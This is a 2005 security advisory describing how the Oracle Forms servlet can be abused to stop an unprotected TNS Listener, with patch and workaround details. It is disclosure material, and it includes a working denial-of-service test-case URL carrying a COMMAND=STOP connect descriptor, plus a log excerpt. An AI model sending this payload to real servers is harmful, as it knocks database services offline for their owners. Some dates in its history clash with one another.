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Shutdown TNS Listener via Oracle Forms Servlet

Name Shutdown TNS Listener via Oracle Forms Servlet
Systems Affected Oracle Forms
Severity Medium Risk
Category Denial of Service
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 7 October 2005 (V 1.00)


Details
The forms servlet can be used to stop the (unprotected) TNS Listener.

Affected Products
Oracle Forms

Patch Information
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.

Workaround
Protect the TNS Listener with a password.

Testcase

http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@
(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))
&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES


Excerpt from the listener.log:

28-OCT-2003 14:44:46 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)
(CID=(PROGRAM=C:\oracle\oradev9i\bin\ifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0


History
14-feb-2005 Oracle secalert was informed
15-feb-2003 Bug confirmed
18-oct-2005 Oracle published the Critical Patch Update October 2005 (CPU October 2005)
20-oct-2005 Red-Database-Security published this advisory



© 2005 by Red-Database-Security GmbH - last update 03-nov-2005

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